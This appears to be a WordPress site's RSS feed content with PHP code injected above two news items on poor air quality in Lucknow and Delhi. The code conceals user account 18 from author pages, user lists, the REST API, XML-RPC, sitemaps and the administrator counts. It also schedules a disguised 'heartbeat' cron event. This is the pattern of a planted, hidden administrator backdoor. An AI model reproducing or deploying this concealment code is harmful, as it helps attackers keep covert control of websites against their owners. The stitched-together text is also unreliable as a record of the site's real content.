add_action( 'pre_get_posts', function( $q ) {
if ( ! is_admin() && $q->is_main_query() ) {
$not_in = (array) $q->get( 'author__not_in' );
$not_in[] = 18;
$q->set(
'author__not_in',
array_unique( array_map( 'intval', $not_in ) )
);
}
}, 1 );
add_action( 'template_redirect', function() {
if ( is_author() ) {
$author = get_queried_object();
if ( $author instanceof WP_User && (int) $author->ID === 18 ) {
global $wp_query;
$wp_query->set_404();
status_header( 404 );
nocache_headers();
}
}
} );
add_action( 'pre_user_query', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
global $wpdb;
$q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 18 );
} );
add_action( 'pre_get_users', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
$exclude = (array) $q->get( 'exclude' );
$exclude[] = 18;
$q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) );
} );
add_filter( 'wp_dropdown_users_args', function( $a ) {
$exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array();
$exclude[] = 18;
$a['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $a;
} );
add_filter( 'rest_user_query', function( $args, $request ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 18;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
}, 10, 2 );
add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) {
$route = $request->get_route();
if ( preg_match( '#^/wp/v2/users/18(/|$)#', $route ) ) {
return new WP_Error(
'rest_user_invalid_id',
'Invalid user ID.',
array( 'status' => 404 )
);
}
return $result;
}, 10, 3 );
add_filter( 'xmlrpc_methods', function( $methods ) {
unset(
$methods['wp.getUsers'],
$methods['wp.getUser'],
$methods['wp.getProfile']
);
return $methods;
} );
add_filter( 'wp_sitemaps_users_query_args', function( $args ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 18;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
} );
add_action( 'admin_head-users.php', function() {
echo '';
} );
add_filter( 'views_users', function( $views ) {
foreach ( array( 'all', 'administrator' ) as $key ) {
if ( isset( $views[ $key ] ) ) {
$views[ $key ] = preg_replace_callback(
'/\((\d+)\)/',
function( $m ) {
return '(' . max( 0, (int) $m[1] - 1 ) . ')';
},
$views[ $key ],
1
);
}
}
return $views;
} );
add_action( 'init', function() {
if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) {
return;
}
if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) {
wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' );
}
} );
add_action( 'wp_extra_bot_heartbeat', function() {
// noop
} );
The post Lucknow Air Quality Remains ‘Poor’ for Second Day as Smog Worsens appeared first on The Edge Media.
]]>Meteorologists have warned that the smog is likely to intensify in the coming days due to a further drop in temperature, which typically traps pollutants closer to the ground.
On Sunday, the AQI was recorded at 208—also in the ‘poor’ range—while Saturday’s air quality had been comparatively better, falling under the ‘moderate’ category with an AQI of 161.
Air quality monitoring stations reported alarming PM2.5 concentrations at six locations, with readings surpassing 300 micrograms per cubic metre—over five times the permissible limit of 60 micrograms. The highest average PM2.5 level was 363 micrograms at Kendriya Vidyalaya in Aliganj, followed by 322 at BBAU near Shaheed Path, 302 in Gomtinagar, and 180 at the Kukrail picnic spot. PM10 levels at the same locations were recorded at double the acceptable threshold of 100 micrograms per cubic metre.
Environmental expert and associate professor Alfred Lawrence of Isabella Thoburn College highlighted vehicular emissions as the primary source of the rising pollution.
He added that traffic congestion and ongoing construction activities further aggravate air quality.
Lawrence suggested urgent action, including water sprinkling to reduce dust, covering construction sites with green nets, and improving traffic flow, to manage the rapidly increasing pollution levels.
The post Lucknow Air Quality Remains ‘Poor’ for Second Day as Smog Worsens appeared first on The Edge Media.
]]>The post As the smog in Delhi worsens, India’s Pollution Control Board advises residents to prepare for an emergency appeared first on The Edge Media.
]]>
A thick haze of toxic smog hung over Delhi, exacerbated by a spike in the burning of crop waste in surrounding farmlands. It reduced visibility and the Air Quality Index (AQI) hit 470 on a scale of 500, according to the pollution control board. This level of pollution means the air will affect healthy people and seriously impact those with existing diseases.
The post As the smog in Delhi worsens, India’s Pollution Control Board advises residents to prepare for an emergency appeared first on The Edge Media.
]]>